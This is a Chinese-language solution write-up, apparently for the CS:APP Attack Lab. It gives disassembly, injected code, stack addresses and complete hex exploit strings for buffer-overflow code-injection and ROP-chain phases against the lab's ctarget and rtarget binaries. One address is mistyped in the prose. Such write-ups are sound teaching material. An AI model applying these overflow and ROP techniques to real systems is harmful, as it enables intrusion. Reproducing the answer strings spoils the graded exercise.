Solution

ctarget

phase1

objdump -d ctarget > ctarget.s查看汇编代码

0000000000401987 <test>:
  401987:	48 83 ec 08          	sub    $0x8,%rsp
  40198b:	b8 00 00 00 00       	mov    $0x0,%eax
  401990:	e8 31 fe ff ff       	call   4017c6 <getbuf>
  401995:	89 c2                	mov    %eax,%edx
  401997:	be 48 30 40 00       	mov    $0x403048,%esi
  40199c:	bf 01 00 00 00       	mov    $0x1,%edi
  4019a1:	b8 00 00 00 00       	mov    $0x0,%eax
  4019a6:	e8 75 f3 ff ff       	call   400d20 <__printf_chk@plt>
  4019ab:	48 83 c4 08          	add    $0x8,%rsp
  4019af:	c3                   	ret
00000000004017c6 <getbuf>:
  4017c6:	48 83 ec 18          	sub    $0x18,%rsp
  4017ca:	48 89 e7             	mov    %rsp,%rdi
  4017cd:	e8 7e 02 00 00       	call   401a50 <Gets>
  4017d2:	b8 01 00 00 00       	mov    $0x1,%eax
  4017d7:	48 83 c4 18          	add    $0x18,%rsp
  4017db:	c3                   	ret

buf大小是$0x18=24$

根据 00000000004017dc <touch1>:,得到touch1所在地址是4017dc

call之前会把当前函数地址压栈来回调,所以只要将压栈的函数地址换成touch1就行,需要缓冲区溢出

结合前面buf大小24,随便填24字节,注意小端法

11 45 14 19 19 81 00 00
11 45 14 19 19 81 00 00
11 45 14 19 19 81 00 00
dc 17 40 00 00 00 00 00

touch2

0000000000401808 <touch2>:
  401808:	48 83 ec 08          	sub    $0x8,%rsp
  40180c:	89 fa                	mov    %edi,%edx
  40180e:	c7 05 e4 2c 20 00 02 	movl   $0x2,0x202ce4(%rip)        # 6044fc <vlevel>
  401815:	00 00 00 
  401818:	39 3d e6 2c 20 00    	cmp    %edi,0x202ce6(%rip)        # 604504 <cookie>
  40181e:	75 20                	jne    401840 <touch2+0x38>
  401820:	be a8 2f 40 00       	mov    $0x402fa8,%esi
  401825:	bf 01 00 00 00       	mov    $0x1,%edi
  40182a:	b8 00 00 00 00       	mov    $0x0,%eax
  40182f:	e8 ec f4 ff ff       	call   400d20 <__printf_chk@plt>
  401834:	bf 02 00 00 00       	mov    $0x2,%edi
  401839:	e8 57 04 00 00       	call   401c95 <validate>
  40183e:	eb 1e                	jmp    40185e <touch2+0x56>
  401840:	be d0 2f 40 00       	mov    $0x402fd0,%esi
  401845:	bf 01 00 00 00       	mov    $0x1,%edi
  40184a:	b8 00 00 00 00       	mov    $0x0,%eax
  40184f:	e8 cc f4 ff ff       	call   400d20 <__printf_chk@plt>
  401854:	bf 02 00 00 00       	mov    $0x2,%edi
  401859:	e8 f9 04 00 00       	call   401d57 <fail>
  40185e:	bf 00 00 00 00       	mov    $0x0,%edi
  401863:	e8 f8 f4 ff ff       	call   400d60 <exit@plt>

源码里要传一个参数,这个参数和给的cookie一样

所以必须通过某种方式来传递参数,文档里说Appendix2里面介绍来翻译注入代码的步骤,于是我们知道这里需要自己注入代码

注入

movq $0x621e4f69, %rdi # 这里设定val
pushq $0x401808 # 由于说了不能直接jmp, call(但是理论上基于给定程序算一下offset应该也可以),这里压栈touch2的地址
ret # 这里恢复上一次%rip的位置,就可以顺利跳转到touch2了
gcc -c touch2.s
objdump -d touch2.o > touch2.d

得到

touch2.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 69 4f 1e 62 	mov    $0x621e4f69,%rdi
   7:	68 08 18 40 00       	push   $0x401808
   c:	c3                   	ret

于是buf长这样

48 c7 c7 69 4f 1e 62 68
08 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00

接下来要让程序首先执行到这个地方,也就是用buf指针(这里存在$%rsp$中,就是栈指针)作为phase1中替换的地址

通过gdb给getbuf打个断点查看一下得到此时$%rsp=\text{0x5567f698}$

于是最后输入长这样:

48 c7 c7 69 4f 1e 62 68
08 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
98 f6 67 55 00 00 00 00

touch3

0000000000401919 <touch3>:
  401919:	53                   	push   %rbx
  40191a:	48 89 fb             	mov    %rdi,%rbx
  40191d:	c7 05 d5 2b 20 00 03 	movl   $0x3,0x202bd5(%rip)        # 6044fc <vlevel>
  401924:	00 00 00 
  401927:	48 89 fe             	mov    %rdi,%rsi
  40192a:	8b 3d d4 2b 20 00    	mov    0x202bd4(%rip),%edi        # 604504 <cookie>
  401930:	e8 33 ff ff ff       	call   401868 <hexmatch>
  401935:	85 c0                	test   %eax,%eax
  401937:	74 23                	je     40195c <touch3+0x43>
  401939:	48 89 da             	mov    %rbx,%rdx
  40193c:	be f8 2f 40 00       	mov    $0x402ff8,%esi
  401941:	bf 01 00 00 00       	mov    $0x1,%edi
  401946:	b8 00 00 00 00       	mov    $0x0,%eax
  40194b:	e8 d0 f3 ff ff       	call   400d20 <__printf_chk@plt>
  401950:	bf 03 00 00 00       	mov    $0x3,%edi
  401955:	e8 3b 03 00 00       	call   401c95 <validate>
  40195a:	eb 21                	jmp    40197d <touch3+0x64>
  40195c:	48 89 da             	mov    %rbx,%rdx
  40195f:	be 20 30 40 00       	mov    $0x403020,%esi
  401964:	bf 01 00 00 00       	mov    $0x1,%edi
  401969:	b8 00 00 00 00       	mov    $0x0,%eax
  40196e:	e8 ad f3 ff ff       	call   400d20 <__printf_chk@plt>
  401973:	bf 03 00 00 00       	mov    $0x3,%edi
  401978:	e8 da 03 00 00       	call   401d57 <fail>
  40197d:	bf 00 00 00 00       	mov    $0x0,%edi
  401982:	e8 d9 f3 ff ff       	call   400d60 <exit@plt>

hexmatch会判断传入的字符串是否与cookie相同

跳转到touch3之后会发生如下调用:

sequenceDiagram
touch3->>hexmatch:call
hexmatch->>random:call
random->>hexmatch:return
hexmatch->>sprintf:call
sprintf->>hexmatch:return
hexmatch->>strncmp:call
strncmp->>hexmatch:return
hexmatch->>touch3:return

正如文档里讲的那样,一堆乱七八糟的函数会把栈空间反复覆盖重写

考虑getbuf开辟的空间:
除了第一次跳转到我们在buf里注入的代码是安全的(因为这个过程中不执行其他函数和对栈空间的操作),其余情况都是不安全的

所以cookie不能存在buf里面,于是我们存在修改call压栈地址的后面(控制程序不会return到之前的引起错误)

之前我们知道$%rsp=\text{0x5567f698}$,跨越buf空间需要$24$字节,再加上压栈地址的$8$字节
得到地址0x5567b8

movq $0x5567f6b8, %rdi
pushq $0x401919
ret

反汇编一下得到最后的答案是

48 c7 c7 b8 f6 67 55 68
19 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
98 f6 67 55 00 00 00 00
36 32 31 65 34 66 36 39
00

rtarget

首先对farm.c进行编译和反汇编

gcc -Og -c farm.c
objdump farm.o -d > farm.d

得到farm里面函数对应的bytecode

phase4

要求完成touch2

参考phase2的做法:

  1. 把cookie存到$%rdi$中
  2. touch2地址压栈,ret
  3. 回调$%rsp$

然而这里栈指针随机化了,无法直接回调$%rsp$

所以只能使用farm.c里的函数bytecode进行ROP攻击

由于我们还是不知道栈指针地址,所以只能把cookie存在test的栈帧上。然后通过popq到一个寄存器里,再把这个寄存器的值转到$%rdi$中

00000000004019c3 <setval_242>:
  4019c3:	c7 07 42 9f 50 58    	movl   $0x58509f42,(%rdi)
  4019c9:	c3                   	ret
00000000004019bd <getval_184>:
  4019bd:	b8 23 48 89 c7       	mov    $0xc7894823,%eax
  4019c2:	c3                   	ret
  • 58对应 popq %rax
  • 48 89 c7对应 movq %rax %rdi

分别对应的地址4019c8,4019bf

于是得到答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c8 19 40 00 00 00 00 00
69 4f 1e 62 00 00 00 00
bf 19 40 00 00 00 00 00
08 18 40 00 00 00 00 00

phase5

和phase3一样的思路,cookie还是只能存在栈上,这个时候还是要用栈指针相对地址来搞定参数传递

发现farm.c里面有一个add_xy函数,可以用来操作offset

思路是:

  1. 把$%rsp$和偏置分别通过mov和pop存到$%rdi和%rsi$其中一个上面
  2. 利用add_xy把$%rdi+%rsi$存到$%rax$
  3. 利用 movq %rax %rdi转移地址
  4. 调用touch3

check了一下发现,只有popq %rax的编码

只能通过mov %rax来传递参数了,phase4已经实现传递给$%rdi$没问题。问题在于怎么传递给$%rsi$。

check了一下,只有 89 d6这一句能传值给$%rsi$(因为高四位肯定是0,movl在这里和movq的作用一样)

其来源是$%rdx$,接下来重复寻找过程,又只有一个来源$%rcx$

最后终于找到 movl %rax %rcx,后面接一个test不要紧

找到的函数和对于call地址如下:

00000000004019c3 <setval_242>: # 58(4019c8) -> popq %rax
  4019c3:	c7 07 42 9f 50 58    	movl   $0x58509f42,(%rdi)
  4019c9:	c3                   	ret

00000000004019f1 <add_xy>: #  (4019f1) -> %rax = %rdi + %rsi
  4019f1:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019f5:	c3                   	ret

00000000004019bd <getval_184>: # 48 89 c7(4019bf) -> %rdi = %rax
  4019bd:	b8 23 48 89 c7       	mov    $0xc7894823,%eax
  4019c2:	c3                   	ret

0000000000401a1e <setval_251>: # 48 89 e0(401a21) -> %rax = %rsp
  401a1e:	c7 07 f7 48 89 e0    	movl   $0xe08948f7,(%rdi)
  401a24:	c3                   	ret

0000000000401a46 <setval_241>: # 89 d6(401a48) -> %rsi = %rdx(%esi = %edx)
  401a46:	c7 07 89 d6 90 90    	movl   $0x9090d689,(%rdi)
  401a4c:	c3                   	ret

0000000000401a96 <addval_147>: # 89 ca(401a9a) -> %rdx = %rcx(%edx = %ecx)
  401a96:	8d 87 46 34 89 ca    	lea    -0x3576cbba(%rdi),%eax
  401a9c:	c3                   	ret

0000000000401a39 <setval_114>: # 89 c1 + fnop(401a3b) -> %rcx = %rax(%ecx = %eax)
  401a39:	c7 07 89 c1 84 c9    	movl   $0xc984c189,(%rdi)
  401a3f:	c3                   	ret

操作(存储)步骤如下:

  1. stackspace
  2. movrsprax
  3. movraxrdi
  4. poprax
  5. saveoffset
  6. movraxrcx
  7. movrcxrdx
  8. movrdxrsi
  9. add
  10. movraxrdi
  11. touch3
  12. cookie
  13. “00”

答案就是

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
21 1a 40 00 00 00 00 00
bf 19 40 00 00 00 00 00
c8 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
3b 1a 40 00 00 00 00 00
9a 1a 40 00 00 00 00 00
48 1a 40 00 00 00 00 00
f1 19 40 00 00 00 00 00
bf 19 40 00 00 00 00 00
19 19 40 00 00 00 00 00
36 32 31 65 34 66 36 39
00


电波交流